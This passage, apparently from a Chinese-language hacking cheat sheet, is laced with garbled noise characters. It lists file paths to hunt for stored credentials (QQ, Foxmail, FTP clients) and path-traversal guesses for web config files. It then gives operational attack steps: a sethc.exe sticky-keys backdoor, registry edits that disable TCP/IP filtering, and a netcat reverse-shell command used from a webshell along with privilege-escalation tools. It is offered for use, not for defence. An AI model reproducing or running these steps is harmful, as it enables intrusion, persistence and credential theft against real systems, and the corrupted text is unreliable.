! n) G  l+ R( I. G( n, Zc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
# }/ @: L6 C( z6 m6 yc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
- L, m) k' m( D$ @c:\Program Files\Tencent\qq\User.db
$ w. w8 s/ ~2 O" Y& nc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
0 \% o& C7 M# B4 l( I$ R2 Y5 Kc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
6 V8 h' B; _3 pc:\Program Files\Tencent\qq\Users\All Users\Registry.db
6 e/ ?& h7 v6 [; d3 \C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
6 M! H" U: A1 dc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
/ D9 k; `* f/ N  f* }7 {8 E  {C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
5 e& G- r5 g1 ~3 |1 f+ xC:\Program Files\FlashFXP\FlashFXP.ini
5 @1 F) G: [7 H# ?C:\Program Files\FlashFXP\flashfxp.exe
& @7 v/ H, ]! j- e9 k* K4 tc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
( @5 |3 u2 o/ Y) j: j3 i( tc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
. P. B/ R  O- @3 O0 y8 s# c: i- B% YC:\Program Files\StormII\Storm.exe

3 l- W3 h) g# L! J  |; x5 J3 U! U3.网站相对路径:
# }  v4 w) T$ [- H$ I3 p
/config.php
../../config.php
../config.php
../../../config.php
/config.inc.php
# |3 f4 U) X; `./config.inc.php
; T% B1 _6 c+ I../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
../../conn.php
; L! ?( F# _% y* S../conn.php
../../../conn.php
/conn.asp
7 o1 r9 z1 w9 R0 G# v7 M' @./conn.asp
../../conn.asp
../conn.asp
3 O2 c& j' ^& s6 L( `. _../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
2 ]/ r  @* K2 F; r../config.inc.php
  h) [: ]% f, g' y7 N% F../../../config.inc.php
/config/config.php
1 c  j; r3 ]# d6 Z4 t4 e* \% _../../config/config.php
../config/config.php
; T3 N: o4 A6 D../../../config/config.php
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
./config/conn.php
8 n1 O5 q* J% o7 h' d+ f, ^3 H../../config/conn.php
/ `8 u4 V. P" N$ n3 b../config/conn.php
7 k) z+ K; v. z! h+ s../../../config/conn.php
/config/conn.asp
4 j% Q: O* [/ Y6 S5 U1 `./config/conn.asp
% [$ C7 ~. L0 t2 }../../config/conn.asp
../config/conn.asp
- C/ ?% N- z0 U# j' }: D8 G../../../config/conn.asp
/config/config.inc.php
; B; I3 N4 @2 t8 N% M./config/config.inc.php
9 t4 I0 ~; V3 H0 J6 `../../config/config.inc.php
../config/config.inc.php
: P2 B# q, v+ @  G  d7 |" `../../../config/config.inc.php
/data/config.php
( k2 w! ~$ p$ P7 F/ X. c../../data/config.php
) |5 a- q: a( E, w+ u4 ^( z: O! ]../data/config.php
9 ]# ^5 `. ~1 N, G+ B+ O* p* H  C../../../data/config.php
/data/config.inc.php
6 J1 o  C7 i* b- C1 j* W./data/config.inc.php
../../data/config.inc.php
. u0 F9 G7 Y3 `4 _../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
2 ?( A' \6 y! B6 e3 z  F0 r/data/conn.asp
  t3 _% |% |! b9 o3 R./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
+ e6 p& {# Q; b1 \5 r) B5 l( `/data/config.inc.php
5 F' a" o5 U2 u/ c./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
0 n2 Q! p" a8 S../../../data/config.inc.php
/include/config.php
8 G8 @: }: e  K5 d$ g& O../../include/config.php
6 w; I  v/ ?; v9 y../include/config.php
( M8 e3 _8 B5 E../../../include/config.php
' C# P- q! M% V# h* J) y; C/include/config.inc.php
* Y8 B' b# y; r7 q# d./include/config.inc.php
6 @" n1 I2 C$ ]3 y/ S../../include/config.inc.php
3 j8 |: O$ P: Z& n2 C$ K) v../include/config.inc.php
# V. ^" q6 r3 t0 z! ?8 o$ a../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
0 ^) J7 D5 I# P( F../../../include/conn.php
5 M( y# r/ d: N  _' [" ^) f/include/conn.asp
$ ]: J$ E9 v8 I8 `1 h./include/conn.asp
% [- z$ ]8 ]$ |& Q8 s  Y../../include/conn.asp
../include/conn.asp
4 |8 w4 y. G  b! W, _0 K) g../../../include/conn.asp
( {( r/ p% R2 O  h4 \/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
9 w7 I7 w1 I! b& x2 @/ a' Z5 }3 P../../../include/config.inc.php
$ V! J+ [, m! P- p# ~1 A/ Z/inc/config.php
; i0 O  y. H' L& h../../inc/config.php
* n0 {9 u/ G9 q& E2 `: B. |; ]* U../inc/config.php
4 G3 A4 W! M; B9 R0 c/ X4 r" X../../../inc/config.php
5 b, t- T2 ~* s& z! k% D. W- Y/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
( Q: J. D5 V! }( }; V4 ?../../inc/conn.php
../inc/conn.php
' A7 [+ [! |! X0 O/ h1 J- N0 Y../../../inc/conn.php
/inc/conn.asp
/ [8 `- a" g) d+ g9 W./inc/conn.asp
../../inc/conn.asp
: r9 O  X7 ]# `$ e2 c/ Q- x  \* T../inc/conn.asp
" Z+ y8 j2 m# B3 s, x, h& a0 V../../../inc/conn.asp
% \8 B/ [4 A8 M7 Z/ F3 L/inc/config.inc.php
./inc/config.inc.php
( Y! f6 f: P/ C+ u7 X../../inc/config.inc.php
5 Q  ~0 H0 F; i. X: V8 P$ Z* o../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
../../../index.php
/index.asp
& A- u8 ]- E: V' s./index.asp
6 P( [5 q- k+ `' I3 K# X% S- q../../index.asp
  }+ [3 _1 \6 c7 ]7 t5 [4 h../index.asp
3 ]; e$ V2 Y1 a5 T../../../index.asp
替换SHIFT后门
: b0 ^- n: P0 d　attrib c:\windows\system32\sethc.exe -h -r -s
. |! f) h$ f9 U7 R
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
9 r+ v- d& z3 @5 K! e: H+ M
5 F3 w& b- o1 Z% v  d' g. C& g+ \　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
% F' X) j  a7 i7 p
- F. g! k" z; |6 n　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

1 g7 W, D0 g3 s; B/ S9 B　　attrib c:\windows\system32\sethc.exe +h +r +s
' N+ Y+ J( G' p$ |: B' A1 W
/ b: ?" g6 \4 g! Q! A8 H* B' f　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
; S/ A" v( G, O+ ~. m3 f去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
: `6 G' l) F+ W$ X! A9 a+ THKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
. l& s6 \  q5 T: Y0 p" g/ S% [% B
& z& J$ V' @# d4 Z& s7 @" k# |分别用
8 L6 q! {0 s) g6 g  F7 B, hregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
9 g$ t# o9 ?2 i9 q$ }6 R. d/ Cregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
! k9 K+ [5 P; P0 i7 V命令来导出注册表项
7 w2 [4 S' V% B! L( U0 O% h" K
6 g' `4 ]3 T( Z: s3 C然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
9 q- S9 J) c0 [# I; P) |
再将以上三个文件分别用
" `3 C& S- Q( [regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
# g+ f9 R6 O& P5 n: @nc也在同目录下
+ }; x" i. e, ~例如反弹cmdshell：
' o! E/ N: _( ~& |, C"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
* a7 [! Z8 K1 E/ J
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
3 b. D8 V$ H: B2 D我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功